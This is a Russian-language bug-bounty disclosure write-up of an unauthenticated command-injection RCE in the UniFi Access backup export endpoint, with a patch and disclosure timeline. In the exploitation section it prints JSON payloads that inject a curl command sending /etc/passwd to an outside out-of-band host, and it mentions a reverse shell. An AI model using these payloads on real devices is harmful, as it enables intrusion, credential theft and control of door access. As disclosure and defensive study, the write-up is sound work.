В ходе проведения оценки безопасности наша команда обнаружила критическую уязвимость удалённого выполнения кода (RCE), возникшую вследствие неправильно настроенной конечной точки API, за выявление которой была выплачена премия в размере $25,000. Однако данная проблема оказалась не единичным случаем: она была частью масштабной ситуации, связанной с несколькими API, лишёнными надлежащей аутентификации и проверки ввода.

В данном отчёте подробно описаны шаги, приведшие к обнаружению RCE: от начальной разведки и поиска уязвимости, до создания рабочего эксплойта. Мы продемонстрируем, как небезопасные шаблоны проектирования в сочетании с API без аутентификации, могут привести к компрометации всей системы даже без взаимодействия с пользователями.

Разведка

При исследовании инфраструктуры заказчика была проведена сетевая разведка, в ходе которой обнаружен активный узел по адресу 192.168.1.1. Обращение к данному узлу через веб-браузер показало интерфейс входа в систему UniFi OS, а именно роутера серии UDM (UniFi Dream Machine SE).

Чтобы определить потенциальные вектора атак, мы обратили внимание на проблемы при выполнении резервного копирования и в API. На форуме был найден ряд обсуждений, где упоминается возникновение ошибок при обращении к

/api/ucore/backup/export.

Многие пользователи сталкивались с ошибками сервера: "500 Internal Server Error", "ECONNREFUSED" и сбоями резервного копирования на разных компонентах системы (Protect, Network, UUM и др.). Все это указывало на модульную структуру системы резервного копирования, взаимодействующую с различными внутренними сервисами посредством loopback API (/api/ucore/backup/export).

Это заставило нас задуматься:

Если эта конечная точка доступна только для 127.0.0.1, каким бы образом её можно достичь и проэксплуатировать извне?

Обнаружение и проверка кода

Чтобы разобраться в механизме взаимодействия компонентов, мы взяли ядро UniFi и проследили за обращениями к "backup/export" внутри файла service.js. Две функции сделали этот процесс прозрачным. Первая функция, обозначенная как YO, формирует loopback URL для экспорта и отправляет POST запрос с JSON, содержащим единственное поле dir:

var YO = async (e, t) => {

  let r = http://127.0.0.1:${e}/api/ucore/backup/export,

      o = await k(r, {  

        method: "POST",

        body: JSON.stringify({ dir: t }),

        headers: { "Content-Type": "application/json" }

      });

  if (!o.ok) throw new Error(Request to ${r} failed, status: ${o.status}, text: ${await o.text()})

};

Здесь (e) — это номер порта, выбранный для целевого модуля приложения (например, Network, Access или Protect), а (t) — путь к каталогу, предоставляемый вызывающим компонентом. Здесь отсутствует какая-либо проверка; значение (dir) сериализуется в запрос, поступающий во внутренний обработчик экспорта.

zf = async ({ port: e, outputDir: t, name: r }) => {

        try {

                let o = await bu(r);                      // validate version

                if (!o) throw new Error(...);             // halt if invalid

                ...

                if (...) {

                        // Backup handled by another device via API

                        let i = await Te(n.mac).request({ type: "downloadBackup", name: r });

                        let c = Qo.join(t, Ji);

                        await _o.writeFile(c, i.body);

                        await x({ cwd: t, file: c });         // decompress or move archive

                } else {

                        await Fe(() => YO(e, t), ...);        // HERE: call the inner YO() function above

                }

                if (await Tu(t))                          // check if backup folder is empty

                        throw new Error(Backup directory for "${r}" is empty);

                await J("chmod", ["-R", "775", t]);        // permission handling

                let s = await AEe(t);                      // call du -s to get backup size

                return { success: true, version: o, size: s };

        } catch (o) {

                return { success: false, err: _(o) };

        }

}

Вторая функция, zf, является контроллером верхнего уровня, который решает, получать ли резервную копию с другого консоли или инициировать локальный экспорт, вызывая YO(port, outputDir). Перед вызовом она проверяет наличие каталога вывода и устанавливает права доступа с помощью команды chmod 777, затем, после завершения процесса экспорта, проверяет, что каталог не пуст, рекурсивно исправляет разрешения и измеряет размер с помощью команды du -s. Если на каком-то этапе возникает ошибка, она регистрируется с именем целевого приложения и передается выше по цепочке. Фактически, функция zf передает аргумент outputDir в функцию YO, которая затем перенаправляет тот же самый путь в конечную точку экспорта, работающую на localhost.

После изучения JavaScript кода, мы пришли к выводу, что возможно выполнение кода. Система получает значение параметра dir из внешнего запроса и передает его неизменённым внутренней службе резервного копирования по адресу. Обработчик резервного копирования далее создает рабочие директории и архивы с помощью стандартных инструментов Linux (mktemp, chmod, tar), подставляя значение dir прямо в команду. Так как значение dir не фильтруется и не экранируется, оболочка интерпретирует содержащиеся в нём спецсимволы как самостоятельные команды.

Эти наблюдения позволили сделать два ключевых вывода: Во-первых, чувствительная операция резервного копирования изначально не предназначена для прямого доступа извне; она прослушивает запросы только на внутреннем интерфейсе (127.0.0.1:<appPort>). Во-вторых, единственные значимые вводимые данные — это параметр dir. Значит нам нужен доступный извне интерфейс, который может сделать аналогичный внутренний вызов.

Эксплуатация

Просканировав все доступные порты на устройстве, мы последовательно проверяли каждый сервис на предмет наличия пути /api/ucore/backup/export. Большинство сервисов возвращали ошибку 404 («страница не найдена»), однако порт 9780 ответил статусом 405 («метод не разрешен»). Такой ответ выдается только тогда, когда запрашиваемый маршрут существует, но неверно указан метод HTTP-запроса. Таким образом, мы узнали, что обработчик доступен и скорее всего примет POST запрос, если предать ему правильный формат.

Мы поменяли метод на POST, добавили заголовок Content-Type: application/json и повторили  JSON-запрос, который видели ранее. Наша первая попытка с использованием минимальной command-injection нагрузки:

{"dir":"/tmp/catchify-lab; curl -s --data-binary @/etc/passwd http://test.oastify.com/"}

Отклика не поступило. Всё встало на свои места, когда мы разобрались, как механизм экспорта добавляет дополнительные команды после использования параметра dir (mktemp, chmod, tar, du -s). Если вставить команду с “;”, оставшаяся часть перейдёт в состояние синтаксического нарушения. Иначе говоря, мы успешно вырвались из оригинального аргумента с помощью символа “;”, но последующая часть исходной команды всё равно добавлялась, порождая либо синтаксическую ошибку, либо ошибку путей, ещё до того, как внедрённая команда успевала завершиться.

Мы изменили полезную нагрузку так, чтобы завершать внедрённую нами команду и нейтрализовывать всю оставшуюся часть с помощью комментариев:

{

"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"

}

Точка с запятой (;) аккуратно завершает внедренную команду, а знак решетки (#) комментирует остаток оригинальной строки. Это предотвращает выполнение оставшейся части сценария экспорта. После внесения этих изменений устройство выполнило HTTP-запрос к нашему серверу, и мы получили файл /etc/passwd, подтвердив выполнение команд и утечку данных. Кроме того, мы попытались получить стандартный обратный шелл.

Обратный шелл успешно пришел, предоставив полный интерактивный доступ к целевой системе.

Удалённое исполнение кода (RCE) дало возможность проникнуть в систему UniFi Access, обеспечив возможность полной компрометации устройства, включая управление дверными замками и картами NFC.

Дополнительные находки

Подтверждение дополнительных уязвимостей проводилось путём сопоставления документации API UniFi Access (PDF-файл) с живыми схемами Swagger-документации, доступной на самом устройстве. Открытая схема упрощала перечисление маршрутов и позволяла формировать правильные запросы, которые прокси-сервер на порту 9780 принимал без аутентификации.

Первым делом мы отправили POST-запрос к /api/v1/user_assets/nfc, содержащий JSON с полями для настройки (alias, asset_id, nfc_id, tokens). Ответ пришёл сразу в виде {"code": "CODE_SUCCESS"}, подтверждая доступность конечной точки и обработку наших данных без проверки сеанса или требований аутентификации.

Более серьёзной проблемой стало то, что простой GET-запрос к /api/v1/user_assets/touch_pass/keys возвращал JSON-структуру с активными материалами учетных данных, используемых мобильными устройствами и NFC: ключи Apple NFC Express/Secure, тип терминала, срок действия (TTL) и блок google_pass_auth_key, содержащий приватные ключи в формате PEM. Снова тот же открытый внешний порт и отсутствие аутентификации.

Устранение проблемы

Проблема была устранена обновлением до версии UniFi Access 4.0.21, в которой производитель исправил уязвимый механизм резервного копирования. Примечания для этой версии доступны по указанной ссылке.

Процесс подачи отчёта:

  • Нашли: Команда безопасности Catchify

  • Отчёт представлен: 09 октября 2025 г., 18:14 UTC

  • Статус: Оценён командой Ubiquiti 09 октября 2025 г., 19:40 UTC

  • Фикс выпущен: UniFi Access 4.0.21

  • Награда: $25,000 (максимальная награда для устройств вне облаков Ubiquiti)

  • Публичное раскрытие: Производитель объявил, что уязвимости присвоен номер CVE и отметил команду Catchify Security.

Еще больше познавательного контента в Telegram-канале — Life-Hack - Хакер

Комментарии (0)